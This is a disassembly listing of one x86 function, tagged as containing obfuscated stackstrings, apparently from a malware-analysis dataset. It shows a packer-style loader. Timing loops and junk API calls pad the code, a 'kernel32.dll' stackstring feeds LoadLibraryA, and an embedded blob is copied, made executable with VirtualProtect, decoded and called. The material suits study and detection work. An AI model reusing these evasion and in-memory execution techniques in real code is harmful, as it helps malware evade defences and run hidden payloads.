Function at 0x40ffa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x41d1f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x1e4], 0
jmp 0x40ffd0
mov eax, dword [ebp - 0x1e4]
add eax, 1
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x6a42b
jge 0x4100f9
cmp dword [ebp - 0x1e4], 0xa
jge 0x40ffee
jmp 0x4100f9
call fcn.0040fdf0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], 0
fild qword [ebp - 0x33c]
fadd qword [0x419020]
fstp dword [ebp - 0x340]
fld dword [ebp - 0x340]
push ecx
fstp dword [esp]
call fcn.00401020
fstp st(0)
lea ecx, [ebp - 0x204]
call fcn.00402640
lea ecx, [ebp - 0x204]
call fcn.00402690
lea ecx, [ebp - 0x204]
call fcn.004026d0
push str.zahokale
lea ecx, [ebp - 0x20]
call fcn.00402000
push 1
push 3
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x2b0]
call fcn.004026f0
lea ecx, [ebp - 0x20]
call fcn.00402080
lea ecx, [ebp - 0x1f4]
call fcn.00402640
lea ecx, [ebp - 0x1f4]
call fcn.004026b0
push ecx
fld dword [0x419018]
fstp dword [esp]
call fcn.00401040
fstp st(0)
sub esp, 8
fld qword [0x419010]
fstp qword [esp]
call fcn.00401000
fstp st(0)
push 0x5eb4
push 0xa566
call fcn.004059db
add esp, 8
push 0x23c9cf
push 0xb0b2
call fcn.00405a31
add esp, 8
lea ecx, [ebp - 0x1f4]
call fcn.00402670
lea ecx, [ebp - 0x2b0]
call fcn.00401fd0
lea ecx, [ebp - 0x204]
call fcn.00402670
jmp 0x40ffc1
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x178], 0x19ee3
mov edx, dword [ebp - 0x178]
add edx, 0x932
mov dword [ebp - 0x178], edx
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xf1], 1
mov dword [ebp - 0x90], 0
mov byte [ebp - 0xf1], 1
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x4101e2
cmp dword [ebp - 0x90], 0xd97f
jle 0x4101b9
mov byte [ebp - 0xf1], 0
mov ecx, 0xa
mov esi, str.deticegodace_gudohakomojewehogidi_pokafu
lea edi, [ebp - 0x2dc]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], 0
fild qword [ebp - 0x348]
fadd qword [0x419020]
fstp dword [ebp - 0x34c]
fld dword [ebp - 0x34c]
push ecx
fstp dword [esp]
call fcn.00401020
fstp st(0)
cmp dword [ebp - 0x90], 0
jge 0x4101ce
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconA]
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
jmp 0x41014b
mov dword [ebp - 0x90], 0
mov edx, 1
test edx, edx
je 0x4102f7
mov dword [ebp - 0x314], 0xffffffff
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp - 0x32c]
push ecx
lea edx, [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
lea eax, [ebp - 0x310]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp dword [ebp - 0x90], 0x25543
jle 0x41026e
cmp dword [ebp - 0x314], 0xffffffff
jne 0x41026e
cmp dword [ebp - 0x324], 0x3c4020
je 0x41026e
cmp dword [ebp - 0x2f0], 0x1f9adfd9
je 0x41026e
mov byte [ebp - 0xf1], 0
push 0
call dword [sym.imp.GDI32.dll_FillPath]
jmp 0x4102f7
cmp dword [ebp - 0xb4], 0
jne 0x4102e3
mov byte [0x41f340], 0x6b
mov byte [0x41f341], 0x65
mov byte [0x41f342], 0x72
mov byte [0x41f343], 0x6e
mov byte [0x41f344], 0x65
mov byte [0x41f345], 0x6c
mov byte [0x41f346], 0x33
mov byte [0x41f347], 0x32
mov byte [0x41f348], 0x2e
mov byte [0x41f349], 0x64
mov byte [0x41f34a], 0x6c
mov byte [0x41f34b], 0x6c
mov byte [0x41f34c], 0
push 0x41f340
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
jmp 0x4101ec
mov edx, dword [0x41e0c0]
mov eax, dword [edx]
push eax
call fcn.0040fef0
mov ecx, dword [0x41e0cc]
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x330], 0
jmp 0x410329
mov edx, dword [ebp - 0x330]
add edx, 1
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0x178]
jae 0x4103e1
cmp dword [ebp - 0x330], 0
jne 0x410358
mov ecx, dword [ebp - 0x178]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x41f744], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.MSIMG32.dll_TransparentBlt]
mov edx, dword [0x41f744]
add edx, dword [ebp - 0x330]
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x330]
mov cl, byte [eax + 0x932]
mov byte [edx], cl
cmp dword [ebp - 0x330], 0x64
jne 0x4103dc
mov dword [ebp - 0x334], 0
mov dword [ebp - 0x334], 0x20
mov edx, dword [ebp - 0x334]
shl edx, 1
mov dword [ebp - 0x334], edx
push 0x126d908
mov eax, dword [ebp - 0x334]
push eax
mov ecx, dword [ebp - 0x178]
push ecx
mov edx, dword [0x41f744]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x41031a
mov eax, dword [ebp - 0x178]
push eax
mov ecx, dword [0x41f744]
push ecx
call fcn.0040ff00
call dword [0x41f744]
mov edx, dword fs:[0x2c]
mov eax, dword [edx]
mov dword [eax + 4], 1
mov dword [ebp - 0x174], 0x557ada64
mov dword [ebp - 0x170], 0x149fad0
mov dword [ebp - 0xf0], 0x7d37f56c
mov dword [ebp - 0xec], 0x345a30b
mov dword [ebp - 0xd8], 0x50fbe62e
mov dword [ebp - 0x1a0], 0x5211d47
mov dword [ebp - 0x1cc], 0x20c33765
mov dword [ebp - 0x130], 0x6ed17263
mov dword [ebp - 0x12c], 0x279f62bd
mov dword [ebp - 0xb0], 0x2ad16feb
mov dword [ebp - 0x1c8], 0x4821cc85
mov dword [ebp - 0xd4], 0x408342ab
mov dword [ebp - 0x1e0], 0x5890e94a
mov dword [ebp - 0xac], 0x346ac123
mov dword [ebp - 0x5c], 0x6b11fa17
mov dword [ebp - 0xd0], 0x4fa1893e
mov dword [ebp - 0xe8], 0x1c69c2c4
mov dword [ebp - 0x1dc], 0x69e928cb
mov dword [ebp - 0x128], 0x3eb42869
mov dword [ebp - 0xcc], 0x14b3b891
mov dword [ebp - 0x58], 0x1bfa720d
mov dword [ebp - 0x188], 0x3dfd427c
mov dword [ebp - 0xe4], 0x29478fa7
mov dword [ebp - 0x44], 0x2588f05c
mov dword [ebp - 0x19c], 0x66035f48
mov dword [ebp - 0x140], 0x627ef4b3
mov dword [ebp - 0x8c], 0x2fff0c66
mov dword [ebp - 0x78], 0x22443b89
mov dword [ebp - 0xe0], 0x673fcbef
mov dword [ebp - 0xa8], 0x14a05563
mov dword [ebp - 0x124], 0x2b594e4d
mov dword [ebp - 0x40], 0x49f59c33
mov dword [ebp - 0x120], 0x6dae5cd3
mov dword [ebp - 0x16c], 0x306313ce
mov dword [ebp - 0x1b8], 0x417b562b
mov dword [ebp - 0x3c], 0x56af551e
mov dword [ebp - 0x1c4], 0x3b85d48
mov dword [ebp - 0xc8], 0x21e13276
mov dword [ebp - 0x1b4], 0x239dfcbc
mov dword [ebp - 0x1c0], 0x632c5f3
mov dword [ebp - 0x38], 0x78f126bd
mov dword [ebp - 0x168], 0x3f7344d5
mov dword [ebp - 0x1d8], 0x2b2c512
mov dword [ebp - 0x11c], 0x47aa0b9a
mov dword [ebp - 0xa4], 0x1270373c
mov dword [ebp - 0xc4], 0x702ec60d
mov dword [ebp - 0x13c], 0x76f26acc
mov dword [ebp - 0x74], 0x18d1bcbb
mov dword [ebp - 0x184], 0x437825fc
mov dword [ebp - 0x180], 0xa9e642
mov dword [ebp - 0x88], 0x6c44398a
mov dword [ebp - 0xa0], 0x59d9240e
mov dword [ebp - 0x1d4], 0x4147f2af
mov dword [ebp - 0x138], 0x218f628c
mov dword [ebp - 0x1b0], 0x3d361f12
mov dword [ebp - 0x118], 0x7fb5fc1f
mov dword [ebp - 0x84], 0x115f9dfc
mov dword [ebp - 0x114], 0x606e5889
mov dword [ebp - 0xc0], 0x624b386
mov dword [ebp - 0x198], 0x6376c667
mov dword [ebp - 0x70], 0x67fb94a7
mov dword [ebp - 0xbc], 0xb95bd01
mov dword [ebp - 0x34], 0x659dc8cc
mov dword [ebp - 0x80], 0x59117f73
mov dword [ebp - 0x54], 0x123a71f6
mov dword [ebp - 0x6c], 0x2ad8355e
mov dword [ebp - 0x194], 0x30dc6c33
mov dword [ebp - 0x9c], 0x20ce077d
mov dword [ebp - 0x110], 0x4a10835d
mov dword [ebp - 0x30], 0x2ba260da
mov dword [ebp - 0x50], 0x371063bc
mov dword [ebp - 0x1ac], 0x14ed8c41
mov dword [ebp - 0x1bc], 0x6c814b5a
mov dword [ebp - 0x98], 0x2d111aa8
mov dword [ebp - 0x1d0], 0x7373577c
mov dword [ebp - 0x10c], 0x7c48e35d
mov dword [ebp - 0x68], 0x7c0b7dd6
mov dword [ebp - 0x94], 0x12e904c7
mov dword [ebp - 0x190], 0x1fa0c472
mov dword [ebp - 0x4c], 0x1e43b89b
mov dword [ebp - 0x48], 0x7dd4efb9
mov dword [ebp - 0xb8], 0x3cdf659e
mov dword [ebp - 0x108], 0x5e937c2b
mov dword [ebp - 0x1a8], 0x28f529af
mov dword [ebp - 0xdc], 0x43ea2d3f
mov dword [ebp - 0x2c], 0x39ffa363
mov dword [ebp - 0x164], 0x70573d51
mov dword [ebp - 0x160], 0x3a5c5dcc
mov dword [ebp - 0x7c], 0x1c6010ef
mov dword [ebp - 0x18c], 0x11f3399d
mov dword [ebp - 0x1a4], 0x341ddfc0
mov dword [ebp - 0x28], 0x56c28d4d
mov dword [ebp - 0x24], 0x2b2b2a11
mov dword [ebp - 0x64], 0x49eb7e24
sub dword [ebp - 0x174], 0x809653
sub dword [ebp - 0x174], 0x26e9ba5a
sub dword [ebp - 0x1c8], 0x55cdb53
sub dword [ebp - 0x44], 0x291811f5
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405488
mov esp, ebp
pop ebp
ret 0x10